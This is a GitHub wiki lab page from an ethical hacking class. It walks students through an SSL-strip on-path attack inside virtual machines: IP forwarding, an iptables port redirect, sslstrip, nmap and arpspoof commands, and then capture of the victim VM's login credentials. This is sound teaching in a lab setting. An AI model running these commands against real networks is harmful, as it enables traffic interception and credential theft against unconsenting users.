Class 3 Lab 3 ‐ SSL Strip - Justin-Boyd/Ethical-Hacking-Class GitHub Wiki

Task 1: Become the On-Path Attacker

Step 1

Make sure the Kali Windows and pfSense VMs are running.

Step 2

Enable packet forwarding in the Kali Linux machine.

Step 3

In the terminal, type echo 1 > /proc/sys/net/ipv4/ip_forward

echo 1 > /proc/sys/net/ipv4/ip_forward

Step 4

Redirect traffic from port 80 to port 8080.

iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 8080

Step 5

In the Kali machine, set SSLStrip to listen to port 8080 (SSLStrip was introduced in EH-03).

sslstrip -l 8080

Step 6

Initiate an On-Path Attack on the Windows machine.

route –n
nmap -Pn [ip address with cidr]
arpspoof -i eth0 -t [Windows IP] [Gateway IP]

Task 2: Capture the Victim’s Credentials

Step 1

In the Windows VM, browse to https://hack-yourself-first.com and click Log in.

Step 2

From Kali, start capturing network packets and then complete the login process from the Windows machine.

Step 3

Verify that the victim’s credentials were captured.